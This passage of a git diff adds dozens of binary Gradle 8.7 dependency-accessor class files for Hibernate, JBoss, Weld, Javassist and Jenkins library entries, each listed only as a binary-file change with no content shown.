a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgHibernateHibernateVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgHibernateHibernateVersionAccessors.class new file mode 100644 index 0000000..d299605 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgHibernateHibernateVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgHibernateLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgHibernateLibraryAccessors.class new file mode 100644 index 0000000..ec2f759 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgHibernateLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgHibernateVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgHibernateVersionAccessors.class new file mode 100644 index 0000000..a85298a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgHibernateVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJavassistLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJavassistLibraryAccessors.class new file mode 100644 index 0000000..801e54a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJavassistLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJavassistVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJavassistVersionAccessors.class new file mode 100644 index 0000000..606fd2e Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJavassistVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossInterceptorJbossInterceptorLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossInterceptorJbossInterceptorLibraryAccessors.class new file mode 100644 index 0000000..2d19939 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossInterceptorJbossInterceptorLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossInterceptorJbossInterceptorVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossInterceptorJbossInterceptorVersionAccessors.class new file mode 100644 index 0000000..c39d61e Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossInterceptorJbossInterceptorVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossInterceptorJbossLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossInterceptorJbossLibraryAccessors.class new file mode 100644 index 0000000..7fbd47d Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossInterceptorJbossLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossInterceptorJbossVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossInterceptorJbossVersionAccessors.class new file mode 100644 index 0000000..9560414 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossInterceptorJbossVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossInterceptorLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossInterceptorLibraryAccessors.class new file mode 100644 index 0000000..872a2be Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossInterceptorLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossInterceptorVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossInterceptorVersionAccessors.class new file mode 100644 index 0000000..b6024c5 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossInterceptorVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossLibraryAccessors.class new file mode 100644 index 0000000..c0c492b Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingJbossLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingJbossLibraryAccessors.class new file mode 100644 index 0000000..fa39a64 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingJbossLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingJbossVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingJbossVersionAccessors.class new file mode 100644 index 0000000..3c2ee38 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingJbossVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingLibraryAccessors.class new file mode 100644 index 0000000..bbbe1cb Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingVersionAccessors.class new file mode 100644 index 0000000..cc04401 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingjmxLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingjmxLibraryAccessors.class new file mode 100644 index 0000000..0068d66 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingjmxLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingjmxRemotingLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingjmxRemotingLibraryAccessors.class new file mode 100644 index 0000000..10333dc Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingjmxRemotingLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingjmxRemotingVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingjmxRemotingVersionAccessors.class new file mode 100644 index 0000000..33df958 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingjmxRemotingVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingjmxVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingjmxVersionAccessors.class new file mode 100644 index 0000000..07c5e79 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossRemotingjmxVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxLibraryAccessors.class new file mode 100644 index 0000000..0108592 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccApiLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccApiLibraryAccessors.class new file mode 100644 index 0000000..46b45f9 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccApiLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1LibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1LibraryAccessors.class new file mode 100644 index 0000000..1dea302 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1LibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4LibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4LibraryAccessors.class new file mode 100644 index 0000000..f45a031 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4LibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4VersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4VersionAccessors.class new file mode 100644 index 0000000..e5e6fcb Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4VersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1VersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1VersionAccessors.class new file mode 100644 index 0000000..e18a87b Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1VersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccApiVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccApiVersionAccessors.class new file mode 100644 index 0000000..5b617c6 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccApiVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccLibraryAccessors.class new file mode 100644 index 0000000..dff0e4c Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccVersionAccessors.class new file mode 100644 index 0000000..5ea751d Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossJaccVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossLibraryAccessors.class new file mode 100644 index 0000000..6c179f1 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossVersionAccessors.class new file mode 100644 index 0000000..70df601 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccJbossVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccLibraryAccessors.class new file mode 100644 index 0000000..3a6fa80 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccVersionAccessors.class new file mode 100644 index 0000000..0440d4c Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityJaccVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityLibraryAccessors.class new file mode 100644 index 0000000..0d9b2d1 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityVersionAccessors.class new file mode 100644 index 0000000..5c62303 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxSecurityVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxVersionAccessors.class new file mode 100644 index 0000000..dadd4ed Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecJavaxVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecLibraryAccessors.class new file mode 100644 index 0000000..ad55d22 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecVersionAccessors.class new file mode 100644 index 0000000..db4a47d Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossSpecVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossVersionAccessors.class new file mode 100644 index 0000000..cedd8f7 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossWeldLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossWeldLibraryAccessors.class new file mode 100644 index 0000000..8f63b67 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossWeldLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossWeldVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossWeldVersionAccessors.class new file mode 100644 index 0000000..829d70b Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossWeldVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossWeldWeldLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossWeldWeldLibraryAccessors.class new file mode 100644 index 0000000..48407bf Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossWeldWeldLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossWeldWeldVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossWeldWeldVersionAccessors.class new file mode 100644 index 0000000..03ff9d4 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJbossWeldWeldVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJenkinsCiLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJenkinsCiLibraryAccessors.class new file mode 100644 index 0000000..718564f Binary files /dev/null and 